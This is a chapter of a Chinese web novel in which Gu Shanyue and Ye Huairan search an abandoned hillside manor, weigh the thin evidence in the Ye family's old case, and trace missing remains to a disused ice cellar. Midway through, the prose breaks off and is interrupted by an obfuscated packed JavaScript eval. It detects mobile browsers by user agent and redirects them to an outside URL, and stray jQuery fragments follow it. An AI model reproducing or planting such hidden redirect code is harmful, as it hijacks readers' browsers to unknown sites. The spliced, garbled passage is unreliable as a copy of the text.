第一百六十三章 藏哪去了?

作品:《守节多年后,战神亡夫他诈尸还乡了

    栖霞山北麓的庄子,藏在竹林最深处,若非有人带路,绝难寻见。高高的青石围墙爬满了枯藤,黑漆大门紧闭,门环上蒙着薄灰。


    **上前推门,门竟是虚掩着的,吱呀一声洞开,露出里头一片死寂。


    庄子很大,三进院落,回廊曲折,假山流水一应俱全,虽不及侯府气派,却处处透着精巧与舒适。可此刻,这份精巧里浸透了人去楼空的狼狈。


    正厅的桌上,还摆着未收的半盏残茶,茶汤已冷透,浮着一层灰蒙蒙的膜。厢房里的衣柜大开,衣物散落一地,梳妆台上的首饰匣子倾倒,只剩下几支不值钱的木簪。厨房的灶膛里灰烬尚温,案板上堆着切了一半的青菜,刀还搁在一旁。


    一切都显示着,这里的人撤离得极其匆忙,仿佛是在某个瞬间接到了必须立刻离开的命令。


    “搜。”叶淮然声音冷硬。


    暗卫迅速散开,仔细搜查每个角落。顾山月穿过寂静的庭院,推开一间显然是孩童居住的厢房。小床上被褥凌乱,一只布老虎掉在地上,旁边还散落着几个打磨光滑的木制小兵。桌上摊着描红本子,墨迹未干透的“人之初”三个字歪歪扭扭,笔就搁在砚台边。


    她拿起那只布老虎,针脚细密,布料是上好的杭绸。一个逃难而来、无依无靠的“难民”兄弟,能给孩子用这样的东西?


    “夫人,”**从另一间书房快步走出,手里捧着几本账册和一叠信笺,“找到些东西。”


    账册记录着庄子近年来的收支,米粮采买、衣物定制、仆役月钱,一笔笔清晰分明,花销不菲。而那些信笺……顾山月接过,快速翻阅。字迹各不相同,内容多是些家常问候、孩子学业、身体康健之类,落款有的写“兄”,有的写“舅”,称呼不一,但字里行间透着亲昵。更重要的是,有几封信提到了“京城生意”、“打点关节”、“吾弟在侯府辛苦”等语。


    “看来,住在这里的不止孙茂一家。”顾山月指尖点着信纸,“‘舅’、‘兄’……孙长峰恐怕把能接济的族亲都安置在这里了。他们并非不知他的身份,甚至……可能一直在依靠他在侯府的经营过活。”


    叶淮然拿起一本账册,翻到最后一页,目光凝住:“撤离是在两天前。最后一笔采买记录,是大量的干粮、饮水和伤药。”


    两天前——正是天牢里那老仆拼死告发、孙长峰被收押的消息刚传开的时候。孙长峰身陷囹圄,竟还能将消息传递出来,并安排家人火速撤离。他在外头,果然还有残余的死忠势力。


    但联想到来时路上那群三足鸟死士的疯狂拦截——他们几乎是以命换命,不顾伤亡地拖住他们,甚至在被擒前立刻服毒自尽,显然是得了死命令,不惜一切代价争取时间。经此一役,孙长峰手下这支隐秘力量,恐怕也折损得七七八八了。


    “他这是断尾求生。”叶淮然合上账册,眼神冰冷,“牺牲大部分爪牙,换家人安全撤离。只是……仓促之间,他能把人藏到哪里去?京城附近,还有什么地方,能神不知鬼不觉地藏下这么一大家子人?”


    顾山月环视这精致的院落,缓缓道:“能按侯府标准供养家人,说明他早有准备,且财力雄厚。这样的庄子,或许不止一处。滁州那条线是明,栖霞山是暗,会不会……还有更隐蔽的第三处?”


    但线索至此中断。暗卫将庄子翻了个底朝天,除了那些生活痕迹和账书信件,再找不到指向新藏身地的蛛丝马迹。孙长峰就像一只狡猾的蜘蛛,在网破之前,已将最重要的卵转移到了安全地带。


    ---


    回到京城时,暮色已四合。


    叶淮然径直去了书房,将这几日收集到的、关于叶家旧案的零碎证据一一铺开。烛光下,他的脸色显得格外沉凝。


    顾山月替他换了杯热茶,轻声问:“还是不顺利?”


    叶淮然揉了揉眉心,指着一份誊抄的旧年刑部存档:“当年指证我父亲‘私吞矿银’的核心人证,共七人。其中四人在案发后不久便‘意外身亡’,两人在流放途中病死,最后一人……卷宗上只写了‘失踪’。而所有涉及矿银具体数目、流向的账目,关键几页都已焚毁或遗失。”


    他又拿起另一份:“这是当年奉旨前往叶家‘查抄’的带队将领的事后禀报。上面写,叶家‘抗旨不尊,聚众持械,意图反抗’,故‘格杀勿论’。可据我这些年暗中查访,当日叶家并无任何反抗之举,我父亲甚至已束手就擒……这分明是有人故意制造冲突,趁机灭口!”


    他声音压抑着巨大的痛苦与愤怒:“可这些,都只是我根据零星线索拼凑出来的推断,缺乏直接证据。当年经手之人非死即隐,卷宗残缺不全。若单凭这些去翻案,别说先皇定下的铁案,便是朝中那些等着抓我把柄的老臣,也能轻易驳倒,反咬我一口诬陷构害。”


    顾山月握住他冰凉的手。她知道,比起侯府的案子,叶家的旧案更棘手。时间更久远,涉及先帝颜面,对手的抹杀也更彻底。孙长峰至少还留下了老仆这样的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17049237|190261||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    活口,可叶家的冤屈,似乎真的被埋进了时间的尘埃里,难以见光。


    他看向顾山月,眼中是深不见底的疲惫与沉重:“月儿,我有时觉得,那座压了十几年的山,好像永远也搬不开。”


    顾山月心头一酸,用力回握他的手:“搬得开。我们一起搬。”


    ---


    相比叶家旧案的举步维艰,靖安侯府的案子,表面上似乎顺利许多。


    有那拼死告发的老仆为人证,有玉佩和药方为物证,孙长峰毒害靖安侯的罪名几乎板上钉钉。大理寺已据此正式立案,孙长峰也从暂时收押转为正式囚犯,只待三司最终审定。


    然而,当审讯触及庄姨娘和三爷安明远的死时,却卡住了。


    孙长峰在天牢里,面对刑讯,依旧咬**不认。他承认与那老仆有旧怨,指称对方是因贪墨被逐怀恨在心,伪造证据诬陷。对于庄姨娘和三爷,他更是一问三不知,只反复说:“内宅之事,我一介外姓赘婿,如何得知详情?许是庄姨娘自己做了什么亏心事,或是三爷命该如此。”


    他这番话,看似推脱,却也并非全无道理。庄姨娘确有弑夫前科,三爷之死若真是她下手,动机也说得通。如今庄姨娘已死,三爷尸骨无存,死无对证。


    “问题的关键,还是在那两具失踪的尸骨上。”顾山月在别院中,对着摊开的侯府地图,眉头紧锁,“若能找到,验出庄姨娘也是死于‘阎罗笑’,便能将她的死与孙长峰联系起来。三爷的尸骨若也有毒杀痕迹,更能坐实孙长峰才是幕后真凶,庄姨娘不过是他手中的刀。”


    谷雨在一旁道:“夫人,孙长峰会把尸骨藏到哪里?会不会已经……毁尸灭迹了?”


    “毁尸灭迹风险太大,动静也不小。”顾山月摇头,“那晚我们去坟园,虽被他抢先一步转移了尸骨,但时间仓促,他不可能运得太远。最大的可能,是藏在了侯府附近,某个他认为安全、且方便随时处理或转移的地方。”


    她的指尖在地图上缓缓移动,掠过侯府的主院、偏院、花园、祠堂……最后,停在了一处标记上。


    那是位于侯府西北角的一处废弃的地窖。据府中老人说,那是早年用来储藏冰块的,后来府里建了更大的冰库,那里便荒废了,平日里少有人去,位置也偏僻。


    更重要的是——那里离坟园所在的侯府私家山坳,距离最近,且有一条极少人知的、穿过竹林的小径相连。


    这里,是个藏东西的好地方……